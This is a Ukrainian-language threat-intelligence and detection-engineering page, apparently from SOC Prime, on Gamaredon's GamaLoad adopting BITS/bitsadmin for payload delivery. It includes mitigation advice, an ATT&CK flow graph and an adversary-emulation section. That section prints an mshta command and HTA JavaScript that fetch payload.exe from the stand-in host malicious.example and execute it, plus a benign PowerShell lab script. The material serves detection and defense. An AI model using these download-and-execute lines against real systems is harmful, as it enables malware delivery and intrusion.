SOC Prime Bias: Критичний

15 Січ 2026 18:39

Gamaredon: Зловживання BITS для доставки шкідливого ПЗ у стилі «Оновлення Windows»

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Gamaredon: Зловживання BITS для доставки шкідливого ПЗ у стилі «Оновлення Windows»
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Gamaredon оновив свої скрипти доставки GamaLoad, щоб отримувати навантаження за допомогою утиліти Windows Background Intelligent Transfer Service (BITS), зменшуючи залежність від раніше фільтрованих LOLBins, таких як mshta.exe. Переходячи до передачі на основі BITS, актори можуть змішувати завантаження з «нормальною» активністю в стилі оновлення Windows та підвищувати надійність у замкнених чи проксі-обмежених середовищах, де традиційні скриптові ловери завантажень більш імовірно блокуються або позначаються.

Розслідування

Опис пояснює, що оновлена логіка GamaLoad вводить другий резервний шлях, який викликає bitsadmin, коли попередні методи завантаження зазнають невдачі. Загальний потік залишається послідовним: RAR-вкладення, надіслане фішингом, розпаковується і розміщується у папці Автозапуску HTA-файл, щоб встановити стійкість та розпочати виконання. Ключова зміна полягає у полуденні завантаження — тепер для витягнення вмісту використовується BITS, допомагаючи ланцюгу обходити режими керування, налаштовані на поведінку завантаження mshta/XMLHTTP.

Пом’якшення

Зміцніть кінцеві точки політиками управління додатками, які обмежують або кондиціонують виконання bitsadmin і обмежують, хто може створювати робочі завдання BITS. Спостерігайте за підозрілим створенням робочих завдань BITS та незвичайним найменуванням завдань, їх власниками або призначенням. Забезпечте суворе управління виходами та фільтрацію URL, щоб запобігти підключенням до ненадійної або новообраної інфраструктури. Зберігайте існуючі керування, які блокують mshta.exe та скачки на основі XMLHTTP, але розширіть покриття включаючи зловживання BITS і пов’язані передачі телеметрії.

Відповідь

Попереджуйте про несподівані командні рядки bitsadmin — особливо ті, які запускаються з контекстів користувачів, ланцюгів виконання, що виникають з електронної пошти, або несистемних батьківських процесів. Корелюйте активність BITS з індикаторами фішингів (доставкою RAR/HTA, записами до папок Startup) і швидко ізолюєте постраждалі вузли. Зберігайте кінцеву точку і мережеву телеметрію для виявлення завантажених навантажень, видалення артефактів стійкості та огляду для додаткових систем, що показують аналогічні патерни робочих завдань BITS.

“graph TB %% Класи визначення classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ddffdd %% Визначення вузлів init_phishing[“<b>Дія</b> – <b>T1566.001 Фішинговий Додаток</b>: Шкідливий RAR з вбудованим HTA надсилається через електронну пошту.”] class init_phishing action exec_copy_paste[“<b>Дія</b> – <b>T1204.004 Шкідливе Копіювання та Вставка</b>: Жертва копіює та вставляє шкідливий вміст з архіву.”] class exec_copy_paste action exec_malicious_file[“<b>Дія</b> – <b>T1204.002 Шкідливий Файл</b>: Жертва витягує та відкриває архів, наражаючи файл HTA.”] class exec_malicious_file action tool_mshta[“<b>Інструмент</b> – <b>Назва</b>: mshta.exe<br/><b>Призначення</b>: Виконує файли HTA, використовуючи хост Windows HTML Application.”] class tool_mshta tool exec_mshta[“<b>Дія</b> – <b>T1218.005 Виконання Mshta</b>: HTA запускається через mshta.exe.”] class exec_mshta action obfuscate_payload[“<b>Дія</b> – <b>T1027.016 Завуальоване Навантаження</b>: Петлі коду сміття приховують шкідливу логіку.”] class obfuscate_payload action persistence_startup[“<b>Дія</b> – <b>T1037 Папка Автозапуску</b>: HTA копіюється в папку Автозапуску користувача для збереження.”] class persistence_startup action tool_bitsadmin[“<b>Інструмент</b> – <b>Назва</b>: bitsadmin<br/><b>Призначення</b>: Використовує BITS для завантаження додаткового навантаження.”] class tool_bitsadmin tool fallback_bits[“<b>Дія</b> – <b>T1197 Передача BITS</b>: Якщо основне виконання зазнає невдачі, bitsadmin завантажує резервне навантаження.”] class fallback_bits action %% З’єднання init_phishing u002du002d>|веде_до| exec_copy_paste exec_copy_paste u002du002d>|веде_до| exec_malicious_file exec_malicious_file u002du002d>|використовує| tool_mshta tool_mshta u002du002d>|виконує| exec_mshta exec_mshta u002du002d>|веде_до| obfuscate_payload obfuscate_payload u002du002d>|дозволяє| persistence_startup persistence_startup u002du002d>|до| tool_bitsadmin tool_bitsadmin u002du002d>|завантажує| fallback_bits class init_phishing,exec_copy_paste,exec_malicious_file,exec_mshta,obfuscate_payload,persistence_startup,fallback_bits action class tool_mshta,tool_bitsadmin tool “

Потік атаки

Виконання симуляції

Передумова: Перевірка телеметрії та базового передпольотного тесту має пройти.

Мотивація: Цей розділ описує точне виконання методики противника (TTP), призначеної для виклику правила виявлення. Команди та наратив МАЮТЬ безпосередньо відбивати зазначені TTP та мають на меті генерувати точну телеметрію, очікувану логікою виявлення.

  • Оповідання атак & команди:

    1. Розвідка та підготовка:

      • Атакуючий розміщує шкідливий HTA-файл (evil.hta) на скомпрометованому веб-сервері (http://malicious.example/evil.hta).
      • HTA містить JavaScript, який викликає bitsadmin.exe для завантаження пейлоаду другого ступеня (payload.exe) з того ж сервера, а потім виконання його.
    2. Первинне виконання через mshta.exe:

      • Атакуючий надсилає коротку PowerShell-однострічку (наприклад, через фішинг), яка виконує:

        mshta.exe "http://malicious.example/evil.hta"
      • Це створює подію створення процесу для mshta.exe.

    3. Фонове завантаження з bitsadmin.exe (всередині HTA):

      // Всередині evil.hta
      var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control");
      bits.CreateJob("maliciousJob");
      bits.AddFile("http://malicious.example/payload.exe", "%TEMP%payload.exe");
      bits.Start();
      bits.WaitUntilComplete();
      var shell = new ActiveXObject("WScript.Shell");
      shell.Run("%TEMP%payload.exe");
      • Це запускає bitsadmin.exe (або об’єкт COM BITS, який збігається з тим же бінарним файлом), генеруючи подію створення процесу для bitsadmin.exe.
    4. Виконання другого ступеня: Завантажений payload.exe виконується, завершуючи вторгнення.

  • Скрипт тестування регресивного коду: Скрипт нижче відтворює наведені вище кроки у контрольованому лабораторному середовищі, використовуючи локальний файл HTA.

    # -------------------------------------------------
    # Імітація доставки payload Gambaredon – регресивний скрипт
    # -------------------------------------------------
    $tempDir = "$env:TEMPgamaredon_test"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Створити безпечний HTA, що імітує шкідливий (завантажує нешкідливий файл)
    $htaContent = @"
    <html>
    <head><title>Тест HTA</title></head>
    <script >
        var bits = new ActiveXObject("Microsoft.BackgroundIntelligentTransfer.Control");
        bits.CreateJob("testJob");
        bits.AddFile("https://example.com/", "%TEMP%test_download.txt");
        bits.Start();
        bits.WaitUntilComplete();
        var shell = new ActiveXObject("WScript.Shell");
        // Немає виконання payload – лише заповнювач
    </script>
    </html>
    "@
    $htaPath = Join-Path $tempDir "test.hta"
    Set-Content -Path $htaPath -Value $htaContent -Encoding ASCII
    
    # 2. Запуск mshta.exe з HTA (це запустить mshta.exe)
    Write-Host "[+] Запуск mshta.exe з тестовим HTA..."
    Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaPath`"" -NoNewWindow
    
    # 3. Зачекайте нетривалий час для запуску bitsadmin
    Start-Sleep -Seconds 5
    
    # 4. Очищення
    Write-Host "[+] Очищення..."
    Remove-Item -Recurse -Force $tempDir
  • Команди очищення:

    # Зупинити всі працюючі bitsadmin завдання
    bitsadmin /reset /allusers
    
    # Видалити всі тестові файли, які можуть бути створені
    Remove-Item -Path "$env:TEMPtest_download.txt" -ErrorAction SilentlyContinue